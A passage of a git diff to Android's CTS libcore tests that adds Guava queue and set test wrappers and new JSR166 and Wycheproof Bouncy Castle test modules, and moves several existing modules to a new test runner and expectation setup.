+                CollectionAddTester.getAddUnsupportedNotPresentMethod());
+    }
+}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForQueuesInJavaUtil.java b/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForQueuesInJavaUtil.java
new file mode 100644
index 0000000..52f0eb3
--- /dev/null
+++ b/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForQueuesInJavaUtil.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package libcore.java.util.tests;
+
+import com.google.common.collect.testing.MinimalCollection;
+import com.google.common.collect.testing.QueueTestSuiteBuilder;
+import com.google.common.collect.testing.TestStringQueueGenerator;
+import com.google.common.collect.testing.TestsForListsInJavaUtil;
+import com.google.common.collect.testing.TestsForQueuesInJavaUtil;
+import com.google.common.collect.testing.features.CollectionFeature;
+import com.google.common.collect.testing.features.CollectionSize;
+
+import java.util.LinkedList;
+import java.util.Queue;
+import junit.framework.Test;
+
+/**
+ * Guava-testlib tests for {@code Queue} implementations from {@code java.util}.
+ */
+public class AndroidTestsForQueuesInJavaUtil extends TestsForQueuesInJavaUtil {
+
+    /**
+     * Override and copy the super class's implementation in order to change the name to ensure
+     * that created tests are unique and do not clash with those created by
+     * {@link TestsForListsInJavaUtil#testsForLinkedList()}, see bug 62438629.
+     */
+    @Override
+    public Test testsForLinkedList() {
+        return QueueTestSuiteBuilder.using(
+                new TestStringQueueGenerator() {
+                    @Override
+                    public Queue<String> create(String[] elements) {
+                        return new LinkedList<String>(MinimalCollection.of(elements));
+                    }
+                })
+                .named("LinkedList as Queue")
+                .withFeatures(
+                        CollectionFeature.GENERAL_PURPOSE,
+                        CollectionFeature.ALLOWS_NULL_VALUES,
+                        CollectionFeature.KNOWN_ORDER,
+                        CollectionSize.ANY)
+                .skipCollectionTests() // already covered in TestsForListsInJavaUtil
+                .suppressing(suppressForLinkedList())
+                .createTestSuite();
+    }
+}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForSetsInJavaUtil.java b/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForSetsInJavaUtil.java
new file mode 100644
index 0000000..c4e41f4
--- /dev/null
+++ b/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForSetsInJavaUtil.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package libcore.java.util.tests;
+
+import com.google.common.collect.testing.TestsForSetsInJavaUtil;
+
+import junit.framework.Test;
+
+/**
+ * Guava-testlib tests for {@code Set} implementations from {@code java.util}.
+ */
+public class AndroidTestsForSetsInJavaUtil extends TestsForSetsInJavaUtil {
+}
diff --git a/tests/libcore/jsr166/Android.mk b/tests/libcore/jsr166/Android.mk
new file mode 100644
index 0000000..bc01844
--- /dev/null
+++ b/tests/libcore/jsr166/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsLibcoreJsr166TestCases
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    cts-core-test-runner \
+    jsr166-tests
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+LOCAL_JACK_FLAGS := --multi-dex native
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/jsr166/AndroidManifest.xml b/tests/libcore/jsr166/AndroidManifest.xml
new file mode 100644
index 0000000..baae488
--- /dev/null
+++ b/tests/libcore/jsr166/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.libcore.cts.jsr166">
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.libcore.cts.jsr166"
+                     android:label="CTS Libcore JSR166 test cases" />
+
+</manifest>
diff --git a/tests/libcore/jsr166/AndroidTest.xml b/tests/libcore/jsr166/AndroidTest.xml
new file mode 100644
index 0000000..078199e
--- /dev/null
+++ b/tests/libcore/jsr166/AndroidTest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Libcore JSR166 test cases">
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
+        <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/user.home" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/ctslibcore" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <!-- this has just the instrumentation which acts as the tests we want to run -->
+        <option name="test-file-name" value="CtsLibcoreJsr166TestCases.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.testtype.LibcoreTest" >
+        <option name="package" value="android.libcore.cts.jsr166" />
+        <option name="instrumentation-arg" key="listener"
+                value="com.android.cts.runner.CtsTestRunListener" />
+        <option name="instrumentation-arg" key="filter"
+                value="com.android.cts.core.runner.ExpectationBasedFilter" />
+        <option name="core-expectation" value="/knownfailures.txt" />
+        <option name="runtime-hint" value="10m"/>
+        <!-- 20x default timeout of 600sec -->
+        <option name="shell-timeout" value="12000000"/>
+    </test>
+</configuration>
diff --git a/tests/libcore/luni/Android.mk b/tests/libcore/luni/Android.mk
index 22a975d..6dd1a42 100644
--- a/tests/libcore/luni/Android.mk
+++ b/tests/libcore/luni/Android.mk
@@ -23,9 +23,9 @@
     conscrypt-tests \
     core-tests \
     cts-core-test-runner \
-    jsr166-tests \
     mockito-target \
-    tzdata_update-tests
+    time_zone_distro-tests \
+    time_zone_distro_installer-tests
 
 # Don't include this package in any target
 LOCAL_MODULE_TAGS := tests
@@ -35,9 +35,11 @@
 
 LOCAL_DEX_PREOPT := false
 LOCAL_JACK_FLAGS := --multi-dex native
+LOCAL_DX_FLAGS := --multi-dex
 
 LOCAL_PROGUARD_ENABLED := disabled
-
+# Keep META-INF/ resources from LOCAL_STATIC_JAVA_LIBRARIES. http://b/62341677
+LOCAL_DONT_DELETE_JAR_META_INF := true
 LOCAL_JNI_SHARED_LIBRARIES := libjavacoretests libsqlite_jni libnativehelper_compat_libc++ libc++
 
 # Include both the 32 and 64 bit versions of libjavacoretests,
@@ -47,14 +49,10 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_JAVA_RESOURCE_DIRS := resources
-
+# NOTE: virtualdeviceknownfailures.txt is only used for simulated/cloud-based
+# continuous build configurations, so it's not referenced in AndroidTest.xml
 LOCAL_JAVA_RESOURCE_FILES := \
-    libcore/expectations/brokentests.txt \
-    libcore/expectations/icebox.txt \
     libcore/expectations/knownfailures.txt \
-    libcore/expectations/taggedtests.txt
-
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
+    libcore/expectations/virtualdeviceknownfailures.txt
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/luni/AndroidManifest.xml b/tests/libcore/luni/AndroidManifest.xml
index c09f9ac..0389be6 100644
--- a/tests/libcore/luni/AndroidManifest.xml
+++ b/tests/libcore/luni/AndroidManifest.xml
@@ -21,7 +21,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="com.android.cts.core.runner.CoreTestRunner"
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.libcore.cts"
                      android:label="CTS Libcore test cases" />
 
diff --git a/tests/libcore/luni/AndroidTest.xml b/tests/libcore/luni/AndroidTest.xml
index 1e47502..d791dba 100644
--- a/tests/libcore/luni/AndroidTest.xml
+++ b/tests/libcore/luni/AndroidTest.xml
@@ -21,16 +21,16 @@
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
         <option name="cleanup-apks" value="true" />
+        <!-- this has just the instrumentation which acts as the tests we want to run -->
         <option name="test-file-name" value="CtsLibcoreTestCases.apk" />
     </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <!-- override AJUR -->
-        <option name="runner" value="com.android.cts.core.runner.CoreTestRunner" />
+    <test class="com.android.compatibility.testtype.LibcoreTest" >
         <option name="package" value="android.libcore.cts" />
-        <option name="instrumentation-arg" key="core-listener"
-                value="com.android.cts.runner.CtsTestRunListener"/>
-        <option name="instrumentation-arg" key="core-expectations"
-                value="/knownfailures.txt,/brokentests.txt,/icebox.txt,/taggedtests.txt,/expectations/cts-runner-specific-failures.txt" />
+        <option name="instrumentation-arg" key="listener"
+                value="com.android.cts.runner.CtsTestRunListener" />
+        <option name="instrumentation-arg" key="filter"
+                value="com.android.cts.core.runner.ExpectationBasedFilter" />
+        <option name="core-expectation" value="/knownfailures.txt" />
         <option name="runtime-hint" value="45m"/>
         <!-- 20x default timeout of 600sec -->
         <option name="shell-timeout" value="12000000"/>
diff --git a/tests/libcore/luni/resources/expectations/cts-runner-specific-failures.txt b/tests/libcore/luni/resources/expectations/cts-runner-specific-failures.txt
deleted file mode 100644
index 0df5b38..0000000
--- a/tests/libcore/luni/resources/expectations/cts-runner-specific-failures.txt
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * This file contains expectations that occur due to differences in the way that the CTSv2 runner
- * works.
- *
- * In CTSv1 the list of tests to run is generated at build time. The tool that does that
- * (cts/tools/utils/CollectAllTests.java) filters out a lot of tests that would cause
- * initializationError failures if they were run. The tests that are silently (in that it doesn't
- * break the build) filtered out are as follows:
- * - Those that extend junit.framework.Test but do not extend junit.framework.TestCase. The runner
- *   only requires that the class extend junit.framework.Test.
- */
-[
-{
-  description: "Extends TestSuite but have no tests",
-  names: [
-    "org.w3c.domts.JUnitTestSuiteAdapter",
-    "org.w3c.domts.level1.core.TestBatik",
-    "org.w3c.domts.level1.core.TestCrimson",
-    "org.w3c.domts.level1.core.TestCrimsonAltConfig",
-    "org.w3c.domts.level1.core.TestDefaultLS",
-    "org.w3c.domts.level1.core.TestDefaultLSAltConfig",
-    "org.w3c.domts.level1.core.TestDefaultParser",
-    "org.w3c.domts.level1.core.TestDefaultParserAltConfig",
-    "org.w3c.domts.level1.core.TestDOM4J",
-    "org.w3c.domts.level1.core.TestGNUJAXP",
-    "org.w3c.domts.level1.core.TestGNUJAXPAltConfig",
-    "org.w3c.domts.level1.core.TestJTidy",
-    "org.w3c.domts.level1.core.TestOracle",
-    "org.w3c.domts.level1.core.TestOracleAltConfig",
-    "org.w3c.domts.level1.core.TestXerces",
-    "org.w3c.domts.level1.core.TestXercesAltConfig",
-    "org.w3c.domts.level1.html.TestDefaultLS",
-    "org.w3c.domts.level1.html.TestDefaultLSAltConfig",
-    "org.w3c.domts.level1.html.TestXercesHTML",
-    "org.w3c.domts.level2.core.TestBatik",
-    "org.w3c.domts.level2.core.TestCrimson",
-    "org.w3c.domts.level2.core.TestCrimsonAltConfig",
-    "org.w3c.domts.level2.core.TestDefaultLS",
-    "org.w3c.domts.level2.core.TestDefaultLSAltConfig",
-    "org.w3c.domts.level2.core.TestDefaultParser",
-    "org.w3c.domts.level2.core.TestDefaultParserAltConfig",
-    "org.w3c.domts.level2.core.TestDOM4J",
-    "org.w3c.domts.level2.core.TestGNUJAXP",
-    "org.w3c.domts.level2.core.TestGNUJAXPAltConfig",
-    "org.w3c.domts.level2.core.TestJTidy",
-    "org.w3c.domts.level2.core.TestOracle",
-    "org.w3c.domts.level2.core.TestOracleAltConfig",
-    "org.w3c.domts.level2.core.TestXerces",
-    "org.w3c.domts.level2.core.TestXercesAltConfig",
-    "org.w3c.domts.level2.events.TestBatik",
-    "org.w3c.domts.level2.events.TestDefaultLS",
-    "org.w3c.domts.level2.events.TestDefaultLSAltConfig",
-    "org.w3c.domts.level2.events.TestDefaultParser",
-    "org.w3c.domts.level2.events.TestDefaultParserAltConfig",
-    "org.w3c.domts.level2.events.TestOracle",
-    "org.w3c.domts.level2.events.TestOracleAltConfig",
-    "org.w3c.domts.level2.events.TestXerces",
-    "org.w3c.domts.level2.events.TestXercesAltConfig",
-    "org.w3c.domts.level2.html.TestDefaultLS",
-    "org.w3c.domts.level2.html.TestDefaultLSAltConfig",
-    "org.w3c.domts.level2.html.TestXercesHTML",
-    "org.w3c.domts.level3.core.TestBatik",
-    "org.w3c.domts.level3.core.TestDefaultLS",
-    "org.w3c.domts.level3.core.TestDefaultLSAltConfig",
-    "org.w3c.domts.level3.core.TestDefaultParser",
-    "org.w3c.domts.level3.core.TestDefaultParserAltConfig",
-    "org.w3c.domts.level3.core.TestOracle",
-    "org.w3c.domts.level3.core.TestOracleAltConfig",
-    "org.w3c.domts.level3.core.TestXerces",
-    "org.w3c.domts.level3.core.TestXercesAltConfig",
-    "org.w3c.domts.level3.ls.TestBatik",
-    "org.w3c.domts.level3.ls.TestDefaultLS",
-    "org.w3c.domts.level3.ls.TestDefaultParser",
-    "org.w3c.domts.level3.ls.TestOracle",
-    "org.w3c.domts.level3.ls.TestXerces",
-    "org.w3c.domts.level3.validation.TestBatik",
-    "org.w3c.domts.level3.validation.TestDefaultLS",
-    "org.w3c.domts.level3.validation.TestDefaultLSAltConfig",
-    "org.w3c.domts.level3.validation.TestDefaultParser",
-    "org.w3c.domts.level3.validation.TestDefaultParserAltConfig",
-    "org.w3c.domts.level3.validation.TestOracle",
-    "org.w3c.domts.level3.validation.TestOracleAltConfig",
-    "org.w3c.domts.level3.xpath.TestBatik",
-    "org.w3c.domts.level3.xpath.TestDefaultLS",
-    "org.w3c.domts.level3.xpath.TestDefaultLSAltConfig",
-    "org.w3c.domts.level3.xpath.TestDefaultParser",
-    "org.w3c.domts.level3.xpath.TestDefaultParserAltConfig",
-    "org.w3c.domts.level3.xpath.TestXalan",
-    "org.w3c.domts.level3.xpath.TestXalanAltConfig"
-  ],
-  bug: "1234"
-}
-]
diff --git a/tests/libcore/ojluni/Android.mk b/tests/libcore/ojluni/Android.mk
index 4311b57..7b9fd90 100644
--- a/tests/libcore/ojluni/Android.mk
+++ b/tests/libcore/ojluni/Android.mk
@@ -30,6 +30,9 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_JACK_FLAGS := --multi-dex native
 
+# Keep META-INF/ resources from LOCAL_STATIC_JAVA_LIBRARIES. http://b/62231394
+LOCAL_DONT_DELETE_JAR_META_INF := true
+
 LOCAL_PROGUARD_ENABLED := disabled
 
 # Include both the 32 and 64 bit versions of libjavacoretests,
@@ -39,14 +42,6 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_JAVA_RESOURCE_DIRS := resources
-
-LOCAL_JAVA_RESOURCE_FILES := \
-    libcore/expectations/brokentests.txt \
-    libcore/expectations/icebox.txt \
-    libcore/expectations/knownfailures.txt \
-    libcore/expectations/taggedtests.txt
-
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
+LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/ojluni/AndroidTest.xml b/tests/libcore/ojluni/AndroidTest.xml
index 1d32530..19b2333 100644
--- a/tests/libcore/ojluni/AndroidTest.xml
+++ b/tests/libcore/ojluni/AndroidTest.xml
@@ -26,14 +26,13 @@
         <!-- this has just the instrumentation which acts as the tests we want to run -->
         <option name="test-file-name" value="CtsLibcoreOjTestCases.apk" />
     </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+    <test class="com.android.compatibility.testtype.LibcoreTest" >
         <!-- override AJUR -->
         <option name="runner" value="com.android.cts.core.runner.CoreTestRunner" />
         <option name="package" value="android.libcore.cts.oj" />
         <option name="instrumentation-arg" key="core-listener"
                 value="com.android.cts.runner.CtsTestRunListener"/>
-        <option name="instrumentation-arg" key="core-expectations"
-                value="/knownfailures.txt,/brokentests.txt,/icebox.txt,/taggedtests.txt,/expectations/cts-runner-specific-failures.txt" />
+        <option name="core-expectation" value="/knownfailures.txt" />
         <option name="runtime-hint" value="45m"/>
         <!-- 20x default timeout of 600sec -->
         <option name="shell-timeout" value="12000000"/>
diff --git a/tests/libcore/okhttp/Android.mk b/tests/libcore/okhttp/Android.mk
index ad78841..c308b59 100644
--- a/tests/libcore/okhttp/Android.mk
+++ b/tests/libcore/okhttp/Android.mk
@@ -42,12 +42,6 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_JAVA_RESOURCE_FILES := \
-    libcore/expectations/brokentests.txt \
-    libcore/expectations/icebox.txt \
-    libcore/expectations/knownfailures.txt \
-    libcore/expectations/taggedtests.txt
-
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
+LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/okhttp/AndroidManifest.xml b/tests/libcore/okhttp/AndroidManifest.xml
index d11d0be..151fda9 100644
--- a/tests/libcore/okhttp/AndroidManifest.xml
+++ b/tests/libcore/okhttp/AndroidManifest.xml
@@ -21,7 +21,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="com.android.cts.core.runner.CoreTestRunner"
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.libcore.cts.okhttp"
                      android:label="CTS Libcore OkHttp test cases" />
 
diff --git a/tests/libcore/okhttp/AndroidTest.xml b/tests/libcore/okhttp/AndroidTest.xml
index 00c390d..77eb3b2 100644
--- a/tests/libcore/okhttp/AndroidTest.xml
+++ b/tests/libcore/okhttp/AndroidTest.xml
@@ -21,19 +21,16 @@
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
         <option name="cleanup-apks" value="true" />
-        <!-- this has the CoreTestRunner which needs to be in a separate APK -->
-        <option name="test-file-name" value="CtsLibcoreTestRunner.apk" />
         <!-- this has just the instrumentation which acts as the tests we want to run -->
         <option name="test-file-name" value="CtsLibcoreOkHttpTestCases.apk" />
     </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <!-- override AJUR -->
-        <option name="runner" value="com.android.cts.core.runner.CoreTestRunner" />
+    <test class="com.android.compatibility.testtype.LibcoreTest" >
         <option name="package" value="android.libcore.cts.okhttp" />
-        <option name="instrumentation-arg" key="core-listener"
-                value="com.android.cts.runner.CtsTestRunListener"/>
-        <option name="instrumentation-arg" key="core-expectations"
-                value="/knownfailures.txt,/brokentests.txt,/icebox.txt,/taggedtests.txt" />
+        <option name="instrumentation-arg" key="listener"
+                value="com.android.cts.runner.CtsTestRunListener" />
+        <option name="instrumentation-arg" key="filter"
+                value="com.android.cts.core.runner.ExpectationBasedFilter" />
+        <option name="core-expectation" value="/knownfailures.txt" />
         <option name="runtime-hint" value="10m"/>
         <!-- 20x default timeout of 600sec -->
         <option name="shell-timeout" value="12000000"/>
diff --git a/tests/libcore/runner/Android.mk b/tests/libcore/runner/Android.mk
index b338e12..d7399cd 100644
--- a/tests/libcore/runner/Android.mk
+++ b/tests/libcore/runner/Android.mk
@@ -35,6 +35,4 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/wycheproof-bc/Android.mk b/tests/libcore/wycheproof-bc/Android.mk
new file mode 100644
index 0000000..3751ac5
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/Android.mk
@@ -0,0 +1,49 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsLibcoreWycheproofBCTestCases
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    cts-core-test-runner \
+    wycheproof
+
+LOCAL_JAVA_LIBRARIES := bouncycastle
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under,src)
+
+LOCAL_DEX_PREOPT := false
+LOCAL_JACK_FLAGS := --multi-dex native
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+# Include both the 32 and 64 bit versions of libjavacoretests,
+# where applicable.
+LOCAL_MULTILIB := both
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/wycheproof-bc/AndroidManifest.xml b/tests/libcore/wycheproof-bc/AndroidManifest.xml
new file mode 100644
index 0000000..15c5fd5
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.libcore.cts.wycheproof.bouncycastle">
+    <uses-permission android:name="android.permission.INTERNET" />
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.libcore.cts.wycheproof.bouncycastle"
+                     android:label="CTS Libcore Wycheproof Bouncy Castle test cases" />
+
+</manifest>
diff --git a/tests/libcore/wycheproof-bc/AndroidTest.xml b/tests/libcore/wycheproof-bc/AndroidTest.xml
new file mode 100644
index 0000000..4e9c320
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Libcore Wycheproof Bouncy Castle test cases">
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <!-- this has just the instrumentation which acts as the tests we want to run -->
+        <option name="test-file-name" value="CtsLibcoreWycheproofBCTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.testtype.LibcoreTest" >
+        <option name="package" value="android.libcore.cts.wycheproof.bouncycastle" />
+        <!-- The individual test cases don't work unless they're run in the
+             context of one of the suites, so we have to limit the test
+             infrastructure to only running the test suites. -->
+        <option name="test-package" value="android.libcore.cts.wycheproof" />
+        <option name="instrumentation-arg" key="listener"
+                value="com.android.cts.runner.CtsTestRunListener" />
+        <option name="instrumentation-arg" key="filter"
+                value="com.android.cts.core.runner.ExpectationBasedFilter" />
+        <option name="core-expectation" value="/knownfailures.txt" />
+        <option name="runtime-hint" value="10m"/>
+    </test>
+</configuration>
diff --git a/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleSupportProvider.java b/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleSupportProvider.java
new file mode 100644
index 0000000..d6ab5c1
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleSupportProvider.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.libcore.cts.wycheproof;
+
+import java.security.Provider;
+
+/**
+ * Provides a small number of exports to allow Bouncy Castle tests to function properly.
+ * Our modified version of Bouncy Castle depends on Conscrypt for a few pieces of
+ * functionality, but in tests we don't want to have Conscrypt installed so that we can test
+ * Bouncy Castle properly.  We install this provider instead.
+ */
+public class BouncyCastleSupportProvider extends Provider {
+
+    // The classes are jarjared, so this is the prefix in practice.
+    private static final String PREFIX = "com.android.org.conscrypt.";
+
+    public BouncyCastleSupportProvider() {
+        // Our modified version of Bouncy Castle specifically expects certain algorithms
+        // to be provided by a provider named "AndroidOpenSSL", so we use that name
+        super("AndroidOpenSSL", 0.0,
+                "Provides algorithms that Bouncy Castle needs to work in tests");
+
+        // Conscrypt is the only SecureRandom implementation
+        put("SecureRandom.SHA1PRNG", PREFIX + "OpenSSLRandom");
+
+        // Bouncy Castle's MACs are backed by Conscrypt's MessageDigests
+        put("MessageDigest.SHA-1", PREFIX + "OpenSSLMessageDigestJDK$SHA1");
+        put("MessageDigest.SHA-224", PREFIX + "OpenSSLMessageDigestJDK$SHA224");
+        put("MessageDigest.SHA-256", PREFIX + "OpenSSLMessageDigestJDK$SHA256");
+        put("MessageDigest.SHA-384", PREFIX + "OpenSSLMessageDigestJDK$SHA384");
+        put("MessageDigest.SHA-512", PREFIX + "OpenSSLMessageDigestJDK$SHA512");
+    }
+}
diff --git a/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleTest.java b/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleTest.java
new file mode 100644
index 0000000..dfb71e8
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleTest.java
@@ -0,0 +1,91 @@
+/*
